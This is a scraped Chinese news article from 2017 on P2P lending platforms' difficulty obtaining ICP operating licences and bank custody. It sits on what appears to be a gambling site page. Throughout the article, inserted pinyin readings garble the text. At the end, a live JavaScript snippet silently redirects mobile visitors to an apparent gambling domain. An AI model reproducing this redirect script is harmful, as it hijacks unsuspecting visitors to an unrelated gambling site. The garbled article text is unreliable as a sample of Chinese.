澳门葡京登陆

行业新闻industrynews

地方ICP证审批趋严 “持证上岗”平台不足10%

时间: 2017-10-27 08:30:40 点击数: 0

网(wang)络借贷(dai)监管细则(ze)一(yi)(yi)出台(tai),ICP许可证(zheng)成了“香饽饽”,然而直到(dao)目(mu)前为止,持(chi)证(zheng)经营的P2P平台(tai)还不到(dao)一(yi)(yi)成。

根据盈(ying)灿咨询最新(xin)报告,截(jie)至2016年8月底,全国正常运营平(ping)台数(shu)量为2235家,其中约(yue)有(you)(you)222家平(ping)台拥有(you)(you)有(you)(you)效的(de)ICP经(jing)营性许(xu)可(ke)证,约(yue)占网(wang)贷行业正常运营平(ping)台总数(shu)量的(de)9.93%,而目前大部(bu)分平(ping)台处于(yu)“无证经(jing)营”状态。

按照(zhao)8月24日银监(jian)会等四部(bu)委联合出台的(de)《网(wang)络借(jie)贷(dai)信息中介机构(gou)业务活动管(guan)理暂行办法(fa)》要求,网(wang)络借(jie)贷(dai)信息中介机构(gou)完成地方金融监(jian)管(guan)部(bu)门备案登记(ji)后,应(ying)当按照(zhao)通信主管(guan)部(bu)门的(de)相关规(gui)定申请相应(ying)的(de)电(dian)信业务经营许可,否则不得(de)开(kai)展网(wang)络借(jie)贷(dai)信息中介业务。

此前澎湃新(xin)闻也报道过(guo),银监会向各银行(xing)下发了《网(wang)络借贷(dai)资金存(cun)管业(ye)(ye)务指引(征求意见稿)》,想要实现资金存(cun)管的(de)P2P必须“按照(zhao)通信主管部(bu)门(men)的(de)相(xiang)关(guan)规定申请获得相(xiang)应的(de)电信业(ye)(ye)务经(jing)营许(xu)可”。

何为ICP经营许可证(zheng)?

电(dian)(dian)(dian)(dian)信(xin)业务(wu)(wu)经(jing)(jing)营(ying)许(xu)可(ke)也就是所谓(wei)的(de)ICP经(jing)(jing)营(ying)许(xu)可(ke)证,属于增(zeng)(zeng)值电(dian)(dian)(dian)(dian)信(xin)业务(wu)(wu)的(de)一类。《互联(lian)网(wang)信(xin)息(xi)(xi)服务(wu)(wu)管(guan)(guan)理(li)办法》就规(gui)(gui)定从事经(jing)(jing)营(ying)性互联(lian)网(wang)信(xin)息(xi)(xi)服务(wu)(wu),应当(dang)向省、自(zi)治区、直辖市电(dian)(dian)(dian)(dian)信(xin)管(guan)(guan)理(li)机构或者国务(wu)(wu)院信(xin)息(xi)(xi)产业主管(guan)(guan)部门申请办理(li)互联(lian)网(wang)信(xin)息(xi)(xi)服务(wu)(wu)增(zeng)(zeng)值电(dian)(dian)(dian)(dian)信(xin)业务(wu)(wu)经(jing)(jing)营(ying)许(xu)可(ke)证。而(er)根据规(gui)(gui)定,未取得(de)经(jing)(jing)营(ying)许(xu)可(ke)证,擅(shan)自(zi)从事经(jing)(jing)营(ying)性互联(lian)网(wang)信(xin)息(xi)(xi)服务(wu)(wu),将对(dui)其进行没收(shou)违法所得(de)、罚款,甚至(zhi)是责令(ling)关(guan)闭网(wang)站(zhan)的(de)处罚。

因而(er),P2P网贷平台作为从事(shi)经(jing)营性互(hu)联网信息服(fu)务的网站,按理来说应(ying)该(gai)办理ICP经(jing)营许可(ke)证。

然而在实际中(zhong)(zhong),绝大多(duo)数(shu)P2P并没(mei)有办理(li),却(que)只(zhi)办理(li)过(guo)ICP备案(an)。ICP备案(an)不同于ICP经营(ying)许可证,前者针对的是非营(ying)利性(xing)信息(xi)服(fu)务(wu),即《互(hu)联网(wang)信息(xi)服(fu)务(wu)管理(li)办法》中(zhong)(zhong)所(suo)说的“通(tong)过(guo)互(hu)联网(wang)向(xiang)上网(wang)用户无偿提供具有公开性(xing)、共享性(xing)信息(xi)的服(fu)务(wu)活(huo)动。”

P2P为何没有(you)申请ICP经(jing)营(ying)许可?

那为什(shen)么网贷机构不直接办理(li)ICP经营许可(ke)证,难(nan)道是门槛比较高吗(ma)?

并不是。根据《电信业(ye)务经营许可(ke)管理办法(fa)》整(zheng)理了以下七点申请(qing)ICP许可(ke)证的门槛要求:

(一)经营者为依法设(she)立的公司(si);

(二)有与开(kai)展经营活动相适(shi)应的资金(jin)和(he)专业人(ren)员;

(三)有为用(yong)户提供长期服务(wu)的(de)信誉或者(zhe)能力;

(四)在(zai)省、自治(zhi)区、直辖(xia)市范围内经营的,注册资本(ben)最低限额(e)为100万(wan)元人民(min)币(bi);在(zai)全国或者跨省、自治(zhi)区、直辖(xia)市范围经营的,注册资本(ben)最低限额(e)为1000万(wan)元人民(min)币(bi);

(五)有(you)必要的场(chang)地、设施(shi)及技术方案;

(六)公(gong)司及其主要出资者(zhe)和主要经(jing)营管理人员三年内无违反(fan)电信监督管理制(zhi)度的违法记(ji)录(lu);

(七)国家规定的其他(ta)条件。

此(ci)外,申请(qing)条件还包(bao)括注册资(zi)本(ben)最低限(xian)额为100万元人民币,根据盈灿咨询的报告,目前(qian)大部(bu)分平台都满足这一(yi)要(yao)求。

既然门槛低,那(nei)为什(shen)么之(zhi)前(qian)不(bu)早早申(shen)请(qing)?

盈灿咨询(xun)认为有两个原因,一(yi)个是(shi)(shi)监管政策出台(tai)(tai)之前大(da)部分平(ping)台(tai)(tai)均未(wei)重视(shi)ICP许可(ke)证(zheng)(zheng)的(de)办理(li),另(ling)一(yi)个就是(shi)(shi)地(di)区(qu)通信管理(li)局对于P2P网贷平(ping)台(tai)(tai)办理(li)ICP许可(ke)证(zheng)(zheng)的(de)要(yao)求(qiu)趋严,部分地(di)区(qu)要(yao)求(qiu)先拿到(dao)地(di)方金(jin)(jin)融管理(li)部门出具前置审批(pi)才(cai)能(neng)办理(li)ICP许可(ke)证(zheng)(zheng),但有些地(di)方金(jin)(jin)融管理(li)部门又不会轻易出具批(pi)文,所以平(ping)台(tai)(tai)办理(li)ICP许可(ke)证(zheng)(zheng)有一(yi)定难度(du)。

不过在8月24日银(yin)监会就网贷(dai)细(xi)则(ze)举行的发(fa)布会上,监管(guan)层在ICP许可(ke)证方面已经给了网贷(dai)机构(gou)一颗(ke)“定心丸(wan)”。

工(gong)(gong)信(xin)部信(xin)息通信(xin)管理局互联网(wang)处副处长徐强表态(tai),工(gong)(gong)信(xin)部将组织各省、自治区(qu)、直辖市的通信(xin)管理局,按照互联网(wang)信(xin)息服务(wu)(wu)管理办(ban)法和电(dian)信(xin)业务(wu)(wu)经(jing)营许可管理办(ban)法等(deng)规定(ding),来(lai)开展(zhan)电(dian)信(xin)业务(wu)(wu)许可的审批。

而针(zhen)对金融办审批和ICP备案“鸡生蛋还(hai)是(shi)蛋生鸡”的(de)(de)问题,会上银监(jian)会普惠金融部主任李均锋(feng)表示:“备案登记后,再(zai)到通信(xin)部门(men)(men)电(dian)信(xin)部门(men)(men)进行电(dian)信(xin)许可的(de)(de)注(zhu)册(ce)”。

要(yao)拿证依然有难度

按理来说,现(xian)有2235家网贷机构办(ban)理ICP经营许可证应该是顺风顺水了,但是目前来看(kan)进展并不顺利。

根据盈灿咨询的报告,从(cong)获(huo)得(de)ICP经营性许可证(zheng)的地(di)域分布来看,北京地(di)区(qu)(qu)共有(you)79家(jia)平(ping)台拥(yong)有(you)有(you)效的ICP许可证(zheng),位居(ju)榜首;其(qi)次是浙(zhe)江地(di)区(qu)(qu),有(you)54家(jia);广东地(di)区(qu)(qu)以24家(jia)位列第(di)(di)三;江苏地(di)区(qu)(qu)和河(he)北地(di)区(qu)(qu)分别排名第(di)(di)四(si)和第(di)(di)五,分别有(you)14家(jia)和9家(jia),其(qi)余14个省市各有(you)1-7家(jia)平(ping)台获(huo)得(de)ICP许可证(zheng)。上(shang)海有(you)2家(jia)平(ping)台获(huo)ICP许可证(zheng),分别是陆金(jin)所(suo)和雪山贷(dai)。

盈灿咨询(xun)的ICP经营(ying)许可证地区分布图(tu)

一位(wei)上(shang)(shang)海P2P公(gong)司人(ren)士向澎(peng)湃新(xin)闻透露,目前上(shang)(shang)海通管局审批仍(reng)然趋严,虽然该公(gong)司近(jin)期在申办(ban),但通管局表(biao)示要等待网贷备案细则出台。

至于该细则何时出(chu)台,目前还没有定论(lun)。李钧锋(feng)在(zai)8月(yue)24日的会上曾表示,作(zuo)为监(jian)管细则的配套(tao)制度(du),会加紧(jin)制定网络借贷备案(an)登记指引。

盈灿咨询报告称,目前(qian)(qian)各地(di)区获得ICP许可证(zheng)要求不(bu)(bu)同(tong)。上海通(tong)(tong)管(guan)(guan)局要求平台(tai)提供地(di)方金融管(guan)(guan)理部门出具前(qian)(qian)置(zhi)审(shen)(shen)批(pi)才(cai)能申(shen)请办(ban)理;广(guang)东(dong)地(di)区的平台(tai)需先到广(guang)东(dong)省(sheng)人民(min)政府金融办(ban)公室(shi)拿到前(qian)(qian)置(zhi)审(shen)(shen)批(pi),通(tong)(tong)过(guo)后才(cai)能通(tong)(tong)过(guo)接(jie)入商(三大运营商)拿到ICP许可证(zheng)。不(bu)(bu)过(guo)也有部分省(sheng)份可通(tong)(tong)过(guo)正常流程直(zhi)接(jie)申(shen)请,如浙江(jiang)省(sheng),当地(di)平台(tai)微贷(dai)网在监管(guan)(guan)细则出台(tai)3天(tian)之(zhi)后就(jiu)拿到了ICP经营许可证(zheng)。

P2P的“隐性牌照”有哪些?

作为一(yi)个合规P2P平台,需要的证照有几张?

其实在监管细则(ze)出炉(lu)之(zhi)前,P2P与普通(tong)公司(si)的注(zhu)册手续一(yi)致,没有金融(rong)牌(pai)照要(yao)求。网(wang)贷平台运营公司(si)实质上来说属于互联(lian)(lian)网(wang)金融(rong)性质的企业,只需根据《公司(si)登记管理(li)条例(li)》在工商管理(li)部门(men)进行(xing)注(zhu)册,根据《互联(lian)(lian)网(wang)信(xin)息服务管理(li)办法》及《互联(lian)(lian)网(wang)站管理(li)工作细则(ze)》的规定在通(tong)信(xin)管理(li)部门(men)进行(xing)备案。至于小额(e)贷款(kuan)牌(pai)照和私(si)募(mu)基金牌(pai)照等,都属于自由申请,没有严格规定。

而在监(jian)管细则出台之后,出现了多张“隐形牌照”。

首(shou)先是备案程(cheng)序上(shang),在地方(fang)金(jin)融办(ban)备案登(deng)记后申(shen)请ICP经(jing)营许可证;此外,网(wang)贷细则规定,网(wang)络借(jie)贷信息(xi)中(zhong)介机(ji)构应(ying)当选择符合条(tiao)件(jian)的(de)银行业(ye)金(jin)融机(ji)构作为出借(jie)人与借(jie)款人的(de)资金(jin)存管(guan)机(ji)构。

相比于ICP经(jing)营许可,银行存管也许是更大的(de)一道“坎”。

据盈灿咨询(xun)不完全统(tong)计,截至8月15日,与银(yin)行(xing)签(qian)订直(zhi)接存管(guan)(guan)协议(yi)的平(ping)台有(you)(you)130家(jia),其(qi)中上(shang)线(xian)直(zhi)接存管(guan)(guan)系统(tong)的平(ping)台有(you)(you)39家(jia)。而与银(yin)行(xing)签(qian)订联(lian)合(he)存管(guan)(guan)的平(ping)台有(you)(you)46家(jia),其(qi)中上(shang)线(xian)联(lian)合(he)存管(guan)(guan)系统(tong)的平(ping)台有(you)(you)24家(jia)。以此(ci)来算,已经(jing)完成银(yin)行(xing)资金存管(guan)(guan)、符合(he)监管(guan)(guan)要求的平(ping)台不足6%,94%的平(ping)台面(mian)临转型(xing)或出局。

银(yin)行存管说(shuo)快也快,说(shuo)慢(man)也慢(man)。据澎湃新闻了解的几家P2P,对接银(yin)行存管时(shi)间在4个(ge)月(yue)到12个(ge)月(yue)不等。

对(dui)此,真融宝创始人、董事(shi)长吴雅(ya)楠向澎湃新闻透露,与银(yin)(yin)行(xing)(xing)对(dui)接存管存在两个“不(bu)确定(ding)”:一(yi)(yi)是(shi)(shi)随着P2P一(yi)(yi)些跑路事(shi)件(jian)和(he)声誉风险的(de)出现(xian),银(yin)(yin)行(xing)(xing)开始“撤(che)退(tui)”,这也(ye)是(shi)(shi)一(yi)(yi)个现(xian)实环境(jing);二是(shi)(shi)存管系统对(dui)于银(yin)(yin)行(xing)(xing)来说也(ye)是(shi)(shi)个新业务,资(zi)金流过(guo)于细(xi)碎(sui)且需要多账户同(tong)时(shi)对(dui)接,不(bu)同(tong)的(de)银(yin)(yin)行(xing)(xing)又(you)有不(bu)同(tong)的(de)对(dui)接效率(lv)和(he)模(mo)式,有一(yi)(yi)个磨合的(de)过(guo)程。

对于目前(qian)的存(cun)管政(zheng)策,吴雅(ya)楠表(biao)示,未来12个月的整改期是一个底线(xian),目前(qian)监管层已经(jing)否(fou)定了第三方(fang)支付转(zhuan)存(cun)管的方(fang)式(shi),确(que)定要跟银(yin)行直连存(cun)管,如果银(yin)行方(fang)面主动(dong)推动(dong),存(cun)管的进(jin)程会加(jia)快。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();